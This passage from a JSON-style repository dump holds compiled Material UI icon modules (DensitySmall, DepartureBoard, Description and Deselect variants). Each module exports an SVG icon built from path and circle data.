    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m1 19h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-6h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-6h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1\"\n}), 'DensitySmallRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmallSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DensitySmallTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 2h18v2H3zm0 18h18v2H3zm0-6h18v2H3zm0-6h18v2H3z\"\n}), 'DensitySmallTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1c-2.4 0-4.52 1.21-5.78 3.05.01-.01.01-.02.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08c3.39-.49 6-3.39 6-6.92 0-3.87-3.13-7-7-7M4.5 19c-.83 0-1.5-.67-1.5-1.5S3.67 16 4.5 16s1.5.67 1.5 1.5S5.33 19 4.5 19M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}), 'DepartureBoard');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1c-2.4 0-4.52 1.21-5.78 3.05.01-.01.01-.02.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08c3.39-.49 6-3.39 6-6.92 0-3.87-3.13-7-7-7M4.5 19c-.83 0-1.5-.67-1.5-1.5S3.67 16 4.5 16s1.5.67 1.5 1.5S5.33 19 4.5 19M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}), 'DepartureBoard');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1c-2.39 0-4.49 1.2-5.75 3.02C9.84 4.01 9.43 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08c3.39-.49 6-3.39 6-6.92 0-3.87-3.13-7-7-7M9 6h.29c-.09.32-.16.66-.21.99H3.34C3.89 6.46 5.31 6 9 6M3 8.99h6.08c.16 1.11.57 2.13 1.18 3.01H3zM15 18c0 .37-.21.62-.34.73l-.29.27H3.63l-.29-.27C3.21 18.62 3 18.37 3 18v-4h9.41c.78.47 1.65.79 2.59.92zm1-5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}, \"2\")], 'DepartureBoardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1c-2.39 0-4.49 1.2-5.75 3.02C9.84 4.01 9.43 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08c3.39-.49 6-3.39 6-6.92 0-3.87-3.13-7-7-7M9 6h.29c-.09.32-.16.66-.21.99H3.34C3.89 6.46 5.31 6 9 6M3 8.99h6.08c.16 1.11.57 2.13 1.18 3.01H3zM15 18c0 .37-.21.62-.34.73l-.29.27H3.63l-.29-.27C3.21 18.62 3 18.37 3 18v-4h9.41c.78.47 1.65.79 2.59.92zm1-5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}, \"2\")], 'DepartureBoardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 1.13c-2.94-.55-5.63.75-7.12 2.92.01-.01.01-.02.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22v1.28c0 .83.67 1.5 1.5 1.5S5 22.33 5 21.5V21h8v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-1.28c.61-.55 1-1.34 1-2.22v-3.08c3.72-.54 6.5-3.98 5.92-7.97-.42-2.9-2.7-5.29-5.58-5.82M4.5 19c-.83 0-1.5-.67-1.5-1.5S3.67 16 4.5 16s1.5.67 1.5 1.5S5.33 19 4.5 19M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m-.25-9c-.41 0-.75.34-.75.75v3.68c0 .35.19.68.49.86l2.52 1.51c.34.2.78.09.98-.24.21-.34.1-.79-.25-.99L16.5 8.25v-3.5c0-.41-.34-.75-.75-.75\"\n}), 'DepartureBoardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 1.13c-2.94-.55-5.63.75-7.12 2.92.01-.01.01-.02.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22v1.28c0 .83.67 1.5 1.5 1.5S5 22.33 5 21.5V21h8v.5c0 .82.67 1.5 1.5 1.5.82 0 1.5-.67 1.5-1.5v-1.28c.61-.55 1-1.34 1-2.22v-3.08c3.72-.54 6.5-3.98 5.92-7.97-.42-2.9-2.7-5.29-5.58-5.82M4.5 19c-.83 0-1.5-.67-1.5-1.5S3.67 16 4.5 16s1.5.67 1.5 1.5S5.33 19 4.5 19M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m-.25-9c-.41 0-.75.34-.75.75v3.68c0 .35.19.68.49.86l2.52 1.51c.34.2.78.09.98-.24.21-.34.1-.79-.25-.99L16.5 8.25v-3.5c0-.41-.34-.75-.75-.75\"\n}), 'DepartureBoardRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.34 1.13c-2.94-.55-5.63.75-7.12 2.92.01-.01.01-.02.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V23h3v-2h8v2h3v-2.78c.61-.55 1-1.34 1-2.22v-3.08c3.72-.54 6.5-3.98 5.92-7.97-.42-2.9-2.7-5.29-5.58-5.82M4.5 19c-.83 0-1.5-.67-1.5-1.5S3.67 16 4.5 16s1.5.67 1.5 1.5S5.33 19 4.5 19M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}), 'DepartureBoardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.34 1.13c-2.94-.55-5.63.75-7.12 2.92.01-.01.01-.02.02-.03C9.84 4 9.42 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V23h3v-2h8v2h3v-2.78c.61-.55 1-1.34 1-2.22v-3.08c3.72-.54 6.5-3.98 5.92-7.97-.42-2.9-2.7-5.29-5.58-5.82M4.5 19c-.83 0-1.5-.67-1.5-1.5S3.67 16 4.5 16s1.5.67 1.5 1.5S5.33 19 4.5 19M3 13V8h6c0 1.96.81 3.73 2.11 5zm10.5 6c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m2.5-6c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}), 'DepartureBoardSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.29 6H9c-3.69 0-5.11.46-5.66.99h5.74c.05-.33.12-.67.21-.99M3 14v4c0 .37.21.62.34.73l.29.27h10.74l.29-.27c.13-.11.34-.36.34-.73v-3.08c-.94-.13-1.81-.45-2.59-.92zm2.5 4c-.83 0-1.5-.67-1.5-1.5S4.67 15 5.5 15s1.5.67 1.5 1.5S6.33 18 5.5 18m8.5-1.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"5.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16 1c-2.39 0-4.49 1.2-5.75 3.02C9.84 4.01 9.43 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08c3.39-.49 6-3.39 6-6.92 0-3.87-3.13-7-7-7M9 6h.29c-.09.32-.16.66-.21.99H3.34C3.89 6.46 5.31 6 9 6M3 8.99h6.08c.16 1.11.57 2.13 1.18 3.01H3zM15 18c0 .37-.21.62-.34.73l-.29.27H3.63l-.29-.27C3.21 18.62 3 18.37 3 18v-4h9.41c.78.47 1.65.79 2.59.92zm1-5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}, \"3\")], 'DepartureBoardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DepartureBoardTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.29 6H9c-3.69 0-5.11.46-5.66.99h5.74c.05-.33.12-.67.21-.99M3 14v4c0 .37.21.62.34.73l.29.27h10.74l.29-.27c.13-.11.34-.36.34-.73v-3.08c-.94-.13-1.81-.45-2.59-.92zm2.5 4c-.83 0-1.5-.67-1.5-1.5S4.67 15 5.5 15s1.5.67 1.5 1.5S6.33 18 5.5 18m8.5-1.5c0 .83-.67 1.5-1.5 1.5s-1.5-.67-1.5-1.5.67-1.5 1.5-1.5 1.5.67 1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"5.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12.5\",\n  cy: \"16.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16 1c-2.39 0-4.49 1.2-5.75 3.02C9.84 4.01 9.43 4 9 4c-4.42 0-8 .5-8 4v10c0 .88.39 1.67 1 2.22V22c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h8v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1.78c.61-.55 1-1.34 1-2.22v-3.08c3.39-.49 6-3.39 6-6.92 0-3.87-3.13-7-7-7M9 6h.29c-.09.32-.16.66-.21.99H3.34C3.89 6.46 5.31 6 9 6M3 8.99h6.08c.16 1.11.57 2.13 1.18 3.01H3zM15 18c0 .37-.21.62-.34.73l-.29.27H3.63l-.29-.27C3.21 18.62 3 18.37 3 18v-4h9.41c.78.47 1.65.79 2.59.92zm1-5c-2.76 0-5-2.24-5-5s2.24-5 5-5 5 2.24 5 5-2.24 5-5 5m.5-9H15v5l3.62 2.16.75-1.23-2.87-1.68z\"\n}, \"3\")], 'DepartureBoardTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Description.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm2 16H8v-2h8zm0-4H8v-2h8zm-3-5V3.5L18.5 9z\"\n}), 'Description');"
  },
  {
    "path": "packages/mui-icons-material/lib/Description.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H6c-1.1 0-1.99.9-1.99 2L4 20c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm2 16H8v-2h8zm0-4H8v-2h8zm-3-5V3.5L18.5 9z\"\n}), 'Description');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h8v2H8zm0-4h8v2H8zm6-10H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}), 'DescriptionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h8v2H8zm0-4h8v2H8zm6-10H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}), 'DescriptionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.59 2.59c-.38-.38-.89-.59-1.42-.59H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41zM15 18H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m0-4H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m-2-6V3.5L18.5 9H14c-.55 0-1-.45-1-1\"\n}), 'DescriptionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.59 2.59c-.38-.38-.89-.59-1.42-.59H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8.83c0-.53-.21-1.04-.59-1.41zM15 18H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m0-4H9c-.55 0-1-.45-1-1s.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1m-2-6V3.5L18.5 9H14c-.55 0-1-.45-1-1\"\n}), 'DescriptionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 16H8v-2h8zm0-4H8v-2h8zm-3-5V3.5L18.5 9z\"\n}), 'DescriptionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 2H4v20h16V8zm2 16H8v-2h8zm0-4H8v-2h8zm-3-5V3.5L18.5 9z\"\n}), 'DescriptionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 14H8v-2h8zm0-6v2H8v-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 16h8v2H8zm0-4h8v2H8zm6-10H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\")], 'DescriptionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DescriptionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 4H6v16h12V9h-5zm3 14H8v-2h8zm0-6v2H8v-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 16h8v2H8zm0-4h8v2H8zm6-10H6c-1.1 0-2 .9-2 2v16c0 1.1.89 2 1.99 2H18c1.1 0 2-.9 2-2V8zm4 18H6V4h7v5h5z\"\n}, \"1\")], 'DescriptionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Deselect.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'Deselect');"
  },
  {
    "path": "packages/mui-icons-material/lib/Deselect.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h2v-2H3zm4 8h2v-2H7zm6-18h-2v2h2zm6 0v2h2c0-1.1-.9-2-2-2M5 21v-2H3c0 1.1.9 2 2 2m-2-4h2v-2H3zm8 4h2v-2h-2zm8-8h2v-2h-2zm0-4h2V7h-2zm-4-4h2V3h-2zM7.83 5 7 4.17V3h2v2zm12 12-.83-.83V15h2v2zm1.36 4.19L2.81 2.81 1.39 4.22 4.17 7H3v2h2V7.83l2 2V17h7.17l2 2H15v2h2v-1.17l2.78 2.78zM9 15v-3.17L12.17 15zm6-2.83V9h-3.17l-2-2H17v7.17z\"\n}), 'Deselect');"
  },
  {
    "path": "packages/mui-icons-material/lib/DeselectOutlined.js",
